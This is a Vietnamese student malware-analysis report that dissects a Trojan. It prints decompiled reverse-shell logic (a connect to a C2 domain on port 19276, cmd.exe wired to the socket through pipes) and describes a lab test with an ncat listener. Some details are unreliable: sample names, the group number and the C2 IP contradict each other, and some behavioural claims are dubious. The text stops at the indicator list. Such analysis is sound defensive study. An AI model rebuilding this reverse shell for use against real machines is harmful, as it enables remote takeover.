



















Preview text:
lOMoAR cPSD| 58815430
BỘ THÔNG TIN VÀ TRUYỀN THÔNG
HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG
------------------------------
Báo cáo cuối kỳ
Môn: PHÂN TÍCH MÃ ĐÔC̣
Người hướng dẫn : Thầy Trịnh Văn Quynh
Sinh viên thực hiện : LÊ QUANG ĐỊNH – N21DCAT011
NGUYỄN THỊ KIM DUNG – N21DCAT015
TRẦN QUANG KHA – N21DCAT025
TRẦN ĐỨC THIÊN – N21DCAT052̣
NGUYỄN THẾ THỊNH – N21DCAT053
Lớp : D21CQAT01-N
Khoá : 2021 – 2026 Hệ :
ĐẠI HỌC CHÍNH QUY
TP.HCM, tháng 12/2024 lOMoAR cPSD| 58815430 MỤC LỤC
1. GIỚI THIÊỤ .................................................................................................................. 3
2. MỤC TIÊU ..................................................................................................................... 3
3. TỔNG QUAN LÝ THUYẾT ....................................................................................... 3
4. PHƯƠNG PHÁP PHÂN TÍCH .................................................................................... 5
5. PHÂN TÍCH MÃ ĐÔC̣ ................................................................................................. 6
5.1. Mã đôc: Trojaṇ .......................................................................................................... 6
5.2. Mã đôc: Worṃ ........................................................................................................ 27
6. KẾT QUẢ ..................................................................................................................... 43
7. ĐÁNH GIÁ VÀ NHÂN XÉṬ ...................................................................................... 43
8. BIÊN PHÁP ĐỀ XUẤṬ .............................................................................................. 44
9. KẾT LUÂṆ .................................................................................................................. 45
TÀI LIÊU THAM KHẢỌ .............................................................................................. 47 2 Downloaded by Anh Ngoc (anhngoc@gmail.com) lOMoAR cPSD| 58815430 1. GIỚI THIÊỤ
Báo cáo này sẽ tâp trung vào việ c phân tích hai mẫu mã độ c có khả năng gâỵ
nguy hiểm lớn cho hê thống máy tính và an ninh mạng. ̣
Mã đôc đầu tiên được nghi ngờ là mộ t ̣ Trojan cho phép kẻ tấn công có thể kết
nối từ xa và điều khiển máy nạn nhân từ môt máy chủ điều khiển (C&C server). Ma ̣
đôc này có thể thực hiệ n các hành vi nguy hiểm như thu thậ p thông tin, tấn công các ̣
dịch vụ mạng hoăc thậ m chí cài đặ t mã độ c khác vào máy nạn nhân.̣
Mã đôc thức hai được nghi ngờ là mộ t ̣ worm (sâu máy tính), có khả năng giả
mạo file hê thống quan trọng. Worm này có thể lây lan qua mạng và tấn công nhiềụ máy
tính trong hê thống mà không cần sự can thiệ p trực tiếp từ người dùng.̣
Phân tích các mã đôc này là rất quan trọng vì chúng có thể gây thiệt hại nghiêṃ
trọng đối với an ninh mạng. Nó có thể đánh cắp thông tin nhạy cảm, gây rối loạn các
dịch vụ và hệ thống, cũng như tạo ra các lỗ hổng cho các cuộc tấn công tiếp theo. Việc
hiểu rõ cơ chế hoạt động của chúng giúp phát hiện, ngăn chặn và phòng chống hiệu quả
các cuộc tấn công mạng trong tương lai. 2. MỤC TIÊU
Mục tiêu của phân tích mã đôc là:̣
1. Xác định hành vi và cơ chế hoạt đông ̣ : Hiểu rõ cách thức mà mã đôc xâm nhậ p,̣
lây lan và thực thi trên hê thống.̣
2. Phát hiện và phân loại mã độc: Xác định loại mã độc (như virus, worm, trojan, v.v.) và
cách nó tương tác với hệ thống bị nhiễm.
3. Đánh giá tác động: Đánh giá mức độ thiệt hại mà mã độc có thể gây ra, từ việc ăn cắp dữ
liệu đến việc tấn công các hệ thống khác.
4. Phát triển biện pháp phòng chống: Cung cấp thông tin để phát triển các biện pháp bảo
vệ, như cập nhật phần mềm bảo mật, cấu hình tường lửa và các công cụ chống mã độc.
5. Hỗ trợ phản ứng sự cố: Giúp các chuyên gia an ninh phản ứng nhanh chóng và hiệu quả
khi phát hiện mã độc trong hệ thống.
3. TỔNG QUAN LÝ THUYẾT
1. Khái niệm về mã độc và các loại mã độc phổ biến
Mã độc (malware) là các phần mềm độc hại được thiết kế để xâm nhập, làm hư
hại hoặc chiếm quyền điều khiển hệ thống máy tính mà không có sự đồng ý của
người dùng. Các loại mã độc phổ biến bao gồm:
- Virus: Mã độc tự sao chép và lây lan từ hệ thống này sang hệ thống khác, thường
gắn vào các tệp hợp lệ.
- Trojan: Mã độc giả mạo phần mềm hợp pháp để đánh lừa người dùng, sau đó thực
hiện các hành động xấu như đánh cắp dữ liệu. lOMoAR cPSD| 58815430
- Ransomware: Mã độc tống tiền, mã hóa dữ liệu của người dùng và yêu cầu tiền chuộc để giải mã.
- Worm: Mã độc có thể tự sao chép và lây lan qua mạng mà không cần sự trợ giúp của người dùng.
- Spyware: Mã độc thu thập thông tin nhạy cảm từ người dùng mà không có sự đồng ý.
2. Các kỹ thuât phân tícḥ
2.1. Phân tích tĩnh: Là quá trình nghiên cứu mã nguồn hoặc mã máy của mã độc mà
không cần thực thi nó. Phân tích này giúp xác định cấu trúc, hành vi tiềm ẩn của mã
độc và các điểm yếu trong mã.
- Ưu điểm: An toàn, không cần môi trường thực thi.
- Nhược điểm: Có thể khó phân tích các mã độc đã bị mã hóa hoặc đóng gói.
2.2. Phân tích động: Là quá trình thực thi mã độc trong một môi trường kiểm tra
(sandbox) để quan sát hành vi của nó trong thời gian thực, như truy cập hệ thống, lây
lan qua mạng hoặc thu thập thông tin.
- Ưu điểm: Phát hiện các hành vi chưa được biết đến và những kỹ thuật ẩn giấu.
- Nhược điểm: Có thể gặp nguy hiểm nếu không kiểm tra cẩn thận, vì mã độc có thể lây nhiễm hệ thống.
3. Các công cụ và phương pháp thường dùng trong phân tích mã độc
PEStudio: Công cụ này giúp phân tích các file thực thi Windows (PE) mà không cần
phải chạy chúng. Nó cung cấp thông tin chi tiết về các đặc điểm của file như các API
gọi, các thuộc tính hệ thống, và các thành phần đáng ngờ.
die (Detect It Easy): Đây là một công cụ phân tích file giúp xác định loại định
dạng và mã hóa của file thực thi. Nó hỗ trợ nhiều loại file và cung cấp thông tin về các
đặc điểm và mã hóa của file.
UPX: Một công cụ nén mã nguồn, thường được sử dụng để nén các file thực thi.
Nhiều mã độc sử dụng UPX để nén mã của chúng nhằm giảm kích thước và tránh bị
phát hiện bởi các công cụ phân tích.
IDA Pro: Công cụ phân tích tĩnh mạnh mẽ, giúp giải mã và phân tích mã máy.
x64dbg: Trình gỡ lỗi cho mã máy, thường được sử dụng trong phân tích động.
Wireshark: Công cụ giám sát mạng, giúp phân tích lưu lượng mạng để phát hiện
các kết nối do mã độc thực hiện.
Cuckoo Sandbox: Công cụ phân tích động cho phép chạy mã độc trong một môi
trường ảo để theo dõi hành vi của nó.
4. Các khái niêm liên quan.̣
Packer: Là các công cụ được sử dụng để nén hoặc đóng gói mã độc, nhằm mục đích
làm cho nó khó bị phát hiện hoặc phân tích. Các packer như UPX có thể làm cho mã
độc bị ẩn đi, nhưng vẫn có thể giải nén trong quá trình thực thi. lOMoAR cPSD| 58815430
Obfuscation: Là kỹ thuật làm cho mã độc khó hiểu và khó phân tích bằng cách thay
đổi cấu trúc mã mà không làm thay đổi chức năng của nó. Các kỹ thuật obfuscation có
thể bao gồm thay đổi tên biến, mã hóa dữ liệu hoặc thay đổi luồng điều khiển.
Trojan: Là mã độc ẩn mình dưới dạng phần mềm hợp pháp, với mục tiêu chiếm
quyền điều khiển máy tính, đánh cắp thông tin nhạy cảm hoặc gây hại cho hệ thống.
Worm: là một chương trình máy tính chứa phần mềm độc hại độc lập tự sao chép để
lây lan sang các máy tính khác. Nó thường sử dụng mạng máy tính để tự lây lan, dựa
vào các lỗi bảo mật trên máy tính mục tiêu để truy cập. Nó sẽ sử dụng máy này làm
máy chủ để quét và lây nhiễm cho các máy tính khác.
4. PHƯƠNG PHÁP PHÂN TÍCH
Phân tích mã đôc là quá trình nghiên cứu và kiểm tra phần mềm độ c hại để
hiểụ hành vi, chức năng và cách thức hoạt đông của nó. Có hai phương pháp chính để
phâṇ tích mã đôc là ̣ phân tích tĩnh và phân tích đông. ̣
4.1. Phân tích tĩnh (Static Analysis):
Phân tích tĩnh giúp kiểm tra mã độc mà không cần thực thi nó, thông qua việc
xem xét mã nguồn, mã máy hoặc các biểu tượng trong file thực thi. Phương pháp
này chủ yếu tập trung vào cấu trúc của file và các đặc tính của mã độc.
- Kỹ thuât phân tích tĩnh:̣
• Phân tích định dạng file: Xác định loại file (EXE, DLL, v.v.) và các đặc điểm
của nó. Công cụ như PEiD, Detect It Easy hoặc CFF Explorer có thể được sử dụng
để xác định packer, obfuscation hoặc các đặc điểm khác của mã độc.
• Phân tích mã nguồn (nếu có): Nếu mã độc được cung cấp dưới dạng mã nguồn,
bạn có thể phân tích cú pháp, tìm kiếm các đoạn mã độc hại hoặc lỗ hổng. Kiểm
tra chữ ký (signature): Sử dụng các cơ sở dữ liệu của các chữ ký mã độc để đối
chiếu file và phát hiện mã độc đã biết. Các công cụ như VirusTotal giúp xác định mã
độc bằng cách so sánh file với cơ sở dữ liệu chữ ký.
• Phân tích biểu tượng: Kiểm tra các thông tin như tên hàm, thư viện được sử
dụng và các ký tự trong mã máy để tìm ra các hành vi đáng ngờ.
- Các công cụ phân tích tĩnh như:
IDA Pro: Phân tích mã máy với khả năng giải mã các mã được nén hoặc mã hóa.
x64dbg: Dùng để phân tích file ở dạng mã máy, thích hợp cho việc xem xét các file
binar trong môi trường Windows.
PEiD: Công cụ giúp nhận diện các packer, mã hóa và obfuscation trong các file PE.
4.2. Phân tích đông (Dyamic Analysis):̣
Phân tích động liên quan đến việc thực thi mã độc trong một môi trường
kiểm tra an toàn (sandbox) để theo dõi hành vi của nó trong thực tế. Phương
pháp này cho phép quan sát các tác động của mã độc đối với hệ thống, mạng và dữ liệu. lOMoAR cPSD| 58815430
- Kỹ thuât phân tích độ ng:̣
• Chạy trong môi trường ảo (sandbox): Để tránh gây hại cho hệ thống thật, mã
độc được chạy trong một môi trường ảo hóa (ví dụ như Cuckoo Sandbox) để theo dõi
các hành động như đọc/ghi file, thay đổi registry, kết nối mạng, v.v.
• Giám sát hệ thống: Quan sát các thay đổi hệ thống khi mã độc được chạy, bao
gồm các thay đổi trong file, registry, kết nối mạng, và các tiến trình đang chạy. Các
công cụ như Procmon và Wireshark có thể giúp theo dõi hoạt động hệ thống và lưu lượng mạng.
• Phân tích các kết nối mạng: Một số mã độc, như reverse shells, sẽ cố gắng kết
nối tới máy chủ điều khiển (C&C). Công cụ như Wireshark hoặc Tcpdump có thể
được sử dụng để theo dõi lưu lượng mạng và xác định địa chỉ IP của máy chủ điều khiển.
• Phân tích hành vi: Theo dõi các hành vi đặc biệt của mã độc như lây lan qua
mạng, tự sao chép, khai thác lỗ hổng hệ thống, và thực hiện các tác vụ tấn công.
- Công cụ phân tích động:
• Cuckoo Sandbox: Công cụ phân tích động giúp chạy mã độc trong môi trường
ảo và theo dõi các hành vi của nó.
• Wireshark: Giúp theo dõi và phân tích lưu lượng mạng, phát hiện các kết nối do mã độc tạo ra.
• Procmon: Giám sát các thay đổi hệ thống trong thời gian thực, bao gồm các thay
đổi file, registry và tiến trình.
5. PHÂN TÍCH MÃ ĐÔC̣
5.1. Mã đôc: Trojaṇ
Tên mã đôc: D21CQAT01-N.Nhom4.exẹ
Loại mã đôc: ̣ Trojan
5.1.1. Phân tích tĩnh
5.1.1.1. Thông tin chung về mẫu mã độc
Loại file: Portable Executable 64 bits - file thực thi trên Windows. Ngôn ngữ: C/C++ Packed: Không Hash:
MD5: D482077E4E7038DB921AD4B6AA5CF7C8 SHA-256:
ebc9f9cab4ef2198e2091bd8d088fbe437a3e7930f344ae75b04ee0a40aaa489
Kích thước file: 244 KB lOMoAR cPSD| 58815430 Metadata:
Thời gian biên dịch: 2024-10-14 09:10:20
Tác giả: Không xác định
Mô tả chung: Mẫu mã độc này là một file thực thi PE dành cho hệ điều hành
Windows. Dự đoán là một Trojan có khả năng kết nối tới máy chủ điều khiển từ xa
và thực hiện các hành vi độc hại trên hệ thống nạn nhân.
5.1.1.2 Phân tích chuỗi
Sử dụng công cụ strings để trích xuất chuỗi ASCII và Unicode từ mã độc, đã ghi
nhận được các chuỗi đáng chú ý sau:
Chuỗi đáng chú ý:
“D21CQAT01-N.NHOM12.everybodysayyeah.run.place” “cmd.exe” “Socket creation failed” “WSAStartup failed.” “Connection failed”
“Failed to create stdout pipe” “ReadConsoleW” lOMoAR cPSD| 58815430 “Failed to start shell” “Hello Nhom 4.” Giải thích:
Domain "D21CQAT01-N.NHOM12.everybodysayyeah.run.place" có thể
là máy chủ điều khiển và điều khiển mà mã độc kết nối để nhận lệnh từ xa. Việc
sử dụng một tên miền "D21CQAT01-N.NHOM12" kết hợp với các từ lạ
("everybodysayyeah.run.place") là một chiến thuật để đánh lừa các phần mềm bảo mật.
Chuỗi "cmd.exe " mã độc có thể đang sử dụng Command Prompt của
Windows để giao tiếp với máy chủ điều khiển thực thi các lệnh hệ thống
"Failed to create stdout pipe." và "Failed to create stdin pipe.". Các thông
báo này có thể cho thấy mã độc đang cố gắng tạo các kênh truyền thông (pipes)
để gửi và nhận dữ liệu giữa các tiến trình hoặc giao tiếp với hệ thống từ xa (stdout
- standard output và stdin - standard input)
"WSAStartup failed." và "Socket creation failed.": Thông báo này cho thấy
mã độc đã cố gắng khởi tạo socket, nhưng thất bại do lỗi khởi tạo Winsock
(Windows Sockets API), một API của Windows dùng để kết nối mạng. Thất bại
này có thể xảy ra nếu hệ thống đã chặn quyền truy cập mạng của mã độc.
"ReadConsoleW": Đây là một hàm API dùng để đọc dữ liệu từ cửa sổ dòng
lệnh. Mã độc có thể dùng hàm này để lấy dữ liệu từ các thao tác dòng lệnh hoặc
để thực hiện các lệnh tương tác.
5.1.1.3 Phân tích API
Sử dụng công cụ như Pestudio, đã ghi nhận các hàm API mà mã độc gọi: Hàm API chính:
getaddrinfo, connect, socket, recv, send: Đây là các API thuộc nhóm network,
giúp mã độc thiết lập và giao tiếp qua mạng. Các API này thường được sử dụng trong
hoạt động C&C (Command and Control) để kết nối và gửi/nhận dữ liệu từ máy chủ điều khiển.
CreateProcessA: Thường được sử dụng để tạo và thực thi một tiến trình mới.
Mã độc có thể dùng API này để khởi động các tiến trình độc hại. lOMoAR cPSD| 58815430
WriteFile và TerminateProcess là những API có tiềm năng gây hại lớn, thường
được mã độc sử dụng để thực hiện các hành động có tác động đến hệ thống và dữ liệu, trong đó:
WriteFile cho phép mã độc ghi dữ liệu vào file, dùng để lưu trữ thông tin
đánh cắp hoặc ghi lại dữ liệu độc hại
TerminateProcess có khả năng được mã độc sử dụng để tắt các tiến trình bảo
mật hoặc phần mềm diệt virus đang chạy.
5.1.1.4 Phân tích cấu trúc file
Mẫu mã độc này chứa các section chính sau:
.text: Chứa mã thực thi của mã độc.
.rdata: Chứa dữ liệu chuỗi và tài nguyên tĩnh, bao gồm các địa chỉ IP và tên miền.
.data: Dữ liệu động, có thể bao gồm cấu hình và thông tin nhạy cảm.
.pdata: Dữ liệu liên quan đến xử lý ngoại lệ và stack unwinding
.gxfg: Phần tùy chỉnh, có thể chứa dữ liệu độc quyền hoặc mã độc.
.gehcont: Tương tự như .gxfg, là phần không tiêu chuẩn, có thể chứa payload. .reloc:
Liên quan đến bảng di dời địa chỉ, hỗ trợ chương trình chạy ở địa chỉ bộ nhớ không mặc định. lOMoAR cPSD| 58815430
5.1.1.5 Phân tích tĩnh nâng cao
Hàm xử lý chính:
Phần khởi tạo console và ẩn cử sổ: AllocConsole();
• Cấp phát một cửa sổ console cho tiến trình này, cho phép chương trình thực hiện
các thao tác nhập và xuất dữ liệu qua console.
• hWnd = FindWindowA("ConsoleWindowClass", 0i64); o Tìm một cửa sổ có tên
lớp ConsoleWindowClass. Đây là lớp mặc định của cửa sổ console Windows. • ShowWindow(hWnd, 0);
o ShowWindow với tham số 0 sẽ ẩn cửa sổ console nên ngay khi của sổ
console được khởi tạo sẽ ngay lập tức bị ẩn đi
WSAStartup (Windows Sockets API) sử dụng để khởi tạo thư viện Winsock cho lập
trình các ứng dụng mạng trong môi trường Windows
Socket dùng để thiết lập và quản lý các kết nối mạng, cho phép các ứng dụng giao tiếp
với nhau qua mạng máy tính • pHints.ai_family = 2;
o 2 là giá trị của AF_INET, chỉ định sử dụng địa chỉ IPv4.
• pHints.ai_socktype = 1; o 1 là giá trị cho SOCK_STREAM, cho thấy đây là một
socket truyền tải dòng dữ liệu (TCP). lOMoAR cPSD| 58815430
pHints.ai_protocol = 6; o 6 là giá trị cho giao thức TCP (IPPROTO_TCP). Xem tham khảo tài liệu ở đây:
https://learn.microsoft.com/en-us/windows/win32/api/ws2def/ns-ws2def-addrinfoa
Hàm getaddrinfo(pNodeName, 0i64, &pHints, &ppResult) thực hiện nhiệm vụ phân
giải tên miền để lấy địa chỉ IP tương ứng, ở đây tên miền là giá trị của biến pNodeName
Vậy tên miền ở đây là
d21cqat01-n.nhom12.everybodysayyeah.run.place
Nếu getaddrinfo không thành công, chương trình thực hiện thông báo lỗi và giải phóng
tài nguyên được phân bố cho Winsock, còn nếu thành công thì tạo socket và kết nối
Tạo ra socket với địa chỉ IPv4, sock type là SOCKSTREAM và giao thức là TCP như
phân tích trước đó, nếu tạo socket không thành công thì thông báo lỗi và giải phóng tài
nguyên đã cấp cho Winsock
Nếu tạo socket thành công thì tiến hành thiết lập thông tin kết nối cho sockaddr
name.sa_family = 2; // AF_INET
*(_DWORD *)&name.sa_data[2] = *(_DWORD *)&ppResult->ai_addr->sa_data[2];
// Copy IP được phân giải từ tên miền 11 Downloaded by Anh Ngoc (anhngoc@gmail.com) lOMoAR cPSD| 58815430
d21cqat01-n.nhom12.everybodysayyeah.run.place vào sin_addr của sockaddr
Link tài liệu đọc ở đây:
https://man7.org/linux/man-pages/man3/sockaddr.3type.html
*(_WORD *)name.sa_data = htons(0x4B4Cu); // Port 19276 Thựchiện kết nối:
• Nếu kết nối thành công: Gọi hàm sub_140001190() (có thể là hàm để thực hiện
các hoạt động độc hại)
• Nếu thất bại: In thông báo lỗi và thử lại
Chi tiết hàm sub_140001190() như sau:
Định nghĩa và khởi tạo PipeAttributes:
• PipeAttributes.nLength = 24;:
o Thiết lập chiều dài của cấu trúc SECURITY_ATTRIBUTES. Giá trị 24
được sử dụng vì nó tương ứng với kích thước của cấu trúc này trên các hệ
điều hành Windows 64-bit. Điều này giúp đảm bảo rằng hệ thống biết bao
nhiêu byte cần thiết để lưu trữ cấu trúc SECURITY_ATTRIBUTES.
PipeAttributes.lpSecurityDescriptor = 0;:
o Đặt con trỏ lpSecurityDescriptor về NULL (hoặc 0). Điều này có nghĩa là
pipe sẽ không có đặc quyền bảo mật cụ thể, và sẽ sử dụng quyền truy cập
mặc định cho quá trình tạo pipe.
• PipeAttributes.bInheritHandle = 1;: 12 Downloaded by Anh Ngoc (anhngoc@gmail.com) lOMoAR cPSD| 58815430
o Đặt bInheritHandle thành 1 (true), cho phép các tiến trình con (child
processes) có thể kế thừa handle của pipe này. Điều này có nghĩa là nếu
một tiến trình con được tạo ra sau đó, nó có thể sử dụng pipe này mà
không cần phải tạo một cái mới.
Tham khảo tài liệu tại:
https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ aa379560(v=vs.85)
Tạo pipe đầu ra (stdout)
(Pipe là một cơ chế cho phép 2 hoặc nhiều tiến trình (process) trao đổi dữ liệu)
• Hàm CreatePipe được gọi để tạo một pipe. Nó tạo ra một kết nối giữa hai
endpoint: o hReadPipe: Handle cho endpoint đọc của pipe (dùng để đọc dữ liệu từ pipe).
o hWritePipe: Handle cho endpoint ghi của pipe (dùng để ghi dữ liệu vào
pipe). o PipeAttributes: Cấu trúc SECURITY_ATTRIBUTES đã được
thiết lập trước đó.
o 0: Kích thước tối đa của buffer cho pipe. Nếu đặt là 0, hệ thống sẽ sử dụng giá trị mặc định.
• Nếu thất bại, in ra thông báo và cleanup memory • Nếu thành công
Tạo pipe đầu vào (stdin)
Tham khảo tài liệu tại:
https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf- namedpipeapicreatepipe
Nếu tạo pipe đầu vào (stdin) thành công, tiến hành tạo một tiến trình mới Trong đó: 13 Downloaded by Anh Ngoc (anhngoc@gmail.com) lOMoAR cPSD| 58815430
StartupInfo.hStdInput = hObject: cho phép tiến trình con đọc dữ liệu từ pipe mà tiến trình cha đã tạo
StartupInfo.hStdError = hWritePipe: cho phép tiến trình con ghi dữ liệu vào pipe, mà
tiến trình cha có thể đọc
StartupInfo.hStdError = hWritePipe: cho phép tiến trình cha có thể xử lí hoặc ghi lỗi
StartupInfo.wShowWindow = 0: chạy tiến trình con trong nền mà không hiển thị trên giao diện người dùng
Tạo một tiến trình mới trên Windows Trong đó :
lpCommandLine ((LPSTR)"cmd.exe") là chuỗi lệnh để thực thi. Ở đây, cmd.exe
được chỉ định, có nghĩa là tiến trình đang được khởi động là Command Prompt trên Windows.
Chi tiết các param khác mọi người có thể đọc tài liệu ở đây:
https://learn.microsoft.com/en-
us/windows/win32/api/processthreadsapi/nfprocessthreadsapi-createprocessa
Nếu tạo tiến trình không thành công, thông báo:
Nếu tạo thành công, tiến hành:
o Thiết lập một vòng lặp liên tục để nhận lệnh từ một socket, ghi lệnh vào
một file hoặc pipe, và sau đó đọc kết quả từ tiến trình con (command
prompt) để gửi trả lại cho client. Quá trình này cho phép tương tác trực
tiếp với command prompt thông qua socket, tạo ra một môi trường giống như remote shell 14 Downloaded by Anh Ngoc (anhngoc@gmail.com) lOMoAR cPSD| 58815430
Chi tiết quá trình này như sau:
B1. Gửi Lệnh qua Socket
Hacker gửi lệnh id qua socket:
à recv nhận dữ liệu (lệnh) từ socket a1 mà hacker đã kết nối.
B2. Xử Lý Lệnh trong Ứng Dụng
Ứng dụng nhận lệnh và ghi nó vào file hoặc pipe để được thực thi bởi cmd.exe:
WriteFile ghi lệnh vào pipe mà cmd.exe đang lắng nghe.
B3. Tiến Trình Con Thực Thi Lệnh
Lệnh được thực thi bởi cmd.exe đã được tạo trước đó với hStdInput, hStdOutput, và
hStdError được thiết lập để tương tác qua các pipe
CreateProcessA(0i64, (LPSTR)"cmd.exe", 0i64, 0i64, 1, 0x8000000u, 0i64, 0i64,
&StartupInfo, &ProcessInformation)
B4. Đọc Kết Quả từ Pipe
Kết quả của lệnh được viết vào pipe và ứng dụng đọc kết quả này: Code liên quan:
ReadFile đọc kết quả từ pipe. Nếu không có dữ liệu để đọc (hoặc có lỗi), vòng lặp sẽ dừng lại.
B5. Gửi Kết Quả qua Socket
Kết quả được gửi trở lại hacker qua socket: 15 Downloaded by Anh Ngoc (anhngoc@gmail.com) lOMoAR cPSD| 58815430
send gửi kết quả đọc từ pipe trở lại socket mà hacker đã sử dụng, cho phép hacker thấy kết quả của lệnh.
5.1.2. Phân tích đông ̣
5.1.2.1. Thiết lập môi trường phân tích:
Môi trường: Sử dụng máy ảo Windows 10, được cô lập hoàn toàn khỏi mạng chính.
Công cụ: Process Monitor, Wireshark, FakeNet, Process Explorer,TCPView.
Bảo vệ: Hệ thống tường lửa đã được bật, theo dõi tất cả các kết nối mạng.
5.1.2.2. Quan sát hành vi của mã độc
Khi chạy mẫu mã độc, quan sát được các hành vi sau: Tác vụ:
Mã độc đã khởi tạo một tác vụ C2: Đây là một chương trình hệ thống windows
để kiểm soát toàn bộ chương trình trên toàn hệ điều hành. Hành vi này cho thấy mã
độc độc có thể chiếm quyền kiểm soát trên toàn bộ hệ thống của máy tính Thao tác file:
- Mã đôc khởi chạy một chương trình C:\Windows\System32\IPHLPAPI.DLL: là
một tệp DLL (Dynamic Link Library) hợp pháp của hệ điều hành Windows,
Tệp này là một phần của Windows API (Application Programming Interface) và
cung cấp các hàm liên quan đến việc quản lý cấu hình mạng và giao thức TCP/IP.
- Nó được sử dụng rộng rãi bởi các ứng dụng và dịch vụ trong hệ điều hành để
truy xuất thông tin mạng, quản lý giao diện mạng, và thực hiện các thao tác như:
- Lấy danh sách các địa chỉ IP, giao diện mạng hiện có.
- Quản lý bảng định tuyến.
- Thao tác các thiết lập giao thức TCP/IP 16 Downloaded by Anh Ngoc (anhngoc@gmail.com) lOMoAR cPSD| 58815430
Tạo kết nối mạng ẩn: cho phép mã độc duy trì kết nối với máy chủ C2
Chuyển hướng lưu lượng mạng: Thông qua các hàm như SetIpForwardEntry mã
độc có thể can thiệp vào các kết nối mạng của hệ thống thông qua đó có thể thực hiện
các cuộc tấn công như Man-in-the-Middle (MitM), trong đó mã độc có thể giám sát,
thay đổi hoặc chặn các gói dữ liệu, thậm chí đánh cắp thông tin nhạy cảm.
Thu thập thông tin: Sử dụng các hàm như GetAdaptersInfo hoặc GetIpAddrTable, mã
độc có thể: Lấy danh sách các địa chỉ IP và giao diện mạng trên hệ thống và xác định
cấu trúc mạng và tìm kiếm các mục tiêu tiềm năng trong cùng một mạng.
Ẩn mình dưới lớp hợp pháp - Thao tác registry:
Mã độc mở các khóa registry:
HKLM\System\CurrentControlSet\Services\WinSock2\Parameters: Key này
chứa thông tin cấu hình và trạng thái của giao thức mạng WinSock (Windows
Sockets).Nó quản lý cách hệ điều hành xử lý các kết nối mạng, bao gồm cấu hình không
gian tên (NameSpace), giao thức mạng, và danh mục giao thức (Protocol Catalog). lOMoAR cPSD| 58815430
HKLM\System\CurrentControlSet\Services\Dnscache\Parameters: Key này
chứa các tham số cấu hình của dịch vụ DNS Client, bao gồm cách hệ thống xử lý các
yêu cầu phân giải tên miền và các cấu hình khác liên quan đến mạng.
HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\
Protocol_Catalog9: chứa các thông tin cấu hình về các giao thức mạng mà WinSock2
hỗ trợ cho thấy mã độc đang cố gắng kết nối với máy chủ thông qua cổng tcp của hệ thống.
HKLM\Software\Policies\Microsoft\Windows NT\DnsClient: mã độc đang cố
gắng thay đổi các cài đặt chính sách về việc sử dụng DNS trong Windows.
HKLM\System\CurrentControlSet\Services\Winsock\Setup Migration
\Providers\Tcpip: mã độc đang cố gắng thao túng các kết nối mạng hoặc điều khiển
giao thức IPv6 để thực hiện các hành vi độc hại, như tấn công MITM, lẩn tránh kiểm
soát tường lửa, duy trì kết nối ẩn.
- Tiến trình và dịch vụ:
Mã độc kết nối với máy chủ IP: 125.234.108.80 thông qua port 19276 Các kết nối đến máy chủ
D21CQAT01-N.NHOM12.everybodysayyeah.run.place là dấu hiệu của
hoạt động điều khiển từ xa, có thể phục vụ việc thu thập dữ liệu đánh cắp hoặc
nhận lệnh từ C2 server.
5.1.3. Giả lập tấn công:
- Địa chỉ IP 125.234.108.80 của tên miền lOMoAR cPSD| 58815430
D21CQAT01-N.NHOM12.everybodysayyeah.run.place là một địa chỉ
không có thật nên mã độc sẽ không kết nối thành công đến địa chỉ IP này,
muốn mô phỏng lại môi trường để khai thác thì ta sẽ dùng một máy
Windows 10 để làm server 125.234.108.80, đồng thời thay đổi file hosts
(C:\Windows\System32\drivers\etc) của máy Victim (Windows 10) như sau:
125.234.108.80 D21CQAT01-N.NHOM12.everybodysayyeah.run.place
Tiếp theo ta chạy file D21CQAT01-N.Nhom4.exe ở máy Victim và dùng ncat
ở máy Attacker để lắng nghe kết nối từ port 19276 : lOMoAR cPSD| 58815430
----> Máy Attacker sẽ nhận được địa chỉ từ máy của Victim kết nối đến, và
có thể thực thi code từ xa thông qua Command Promt. 5.1.4. Kết luận
1. Hành vi và chức năng của mã độc
a. Chuỗi và tên miền đáng ngờ
- Tên miền: D21CQAT01-N.NHOM12.everybodysayyeah.run.place là một tên
miền không hợp lệ và có dấu hiệu là một Tên miền C&C (Command &
Control), có thể được sử dụng để liên lạc với máy chủ điều khiển từ xa.
- Các chuỗi khác: Các chuỗi như: "cmd.exe", "CreateThreadpoolWork",
"CreateProcess", "SetEnvironmentVariable", "SwitchToThread", và các hàm
mạng như Getaddrinfo, Freeaddrinfo, CreateThreadpoolTimer,
CreateSymbolicLink cho thấy mã độc có thể liên quan đến việc tạo các tiến trình
mới, thay đổi cấu hình môi trường, và thao túng kết nối mạng.
b. Hành vi kết nối mạng của mã độc
Kết nối TCP tới cổng 19276 (IP: 192.0.2.123): theFist.exe liên tục yêu cầu kết nối TCP
tới địa chỉ 192.0.2.123 trên cổng 19276, có thể là để duy trì liên lạc với máy chủ điều khiển từ xa (C&C)
2. Dấu hiệu nhận diện (IoC)
Các dấu hiệu nhận diện của mã độc bao gồm: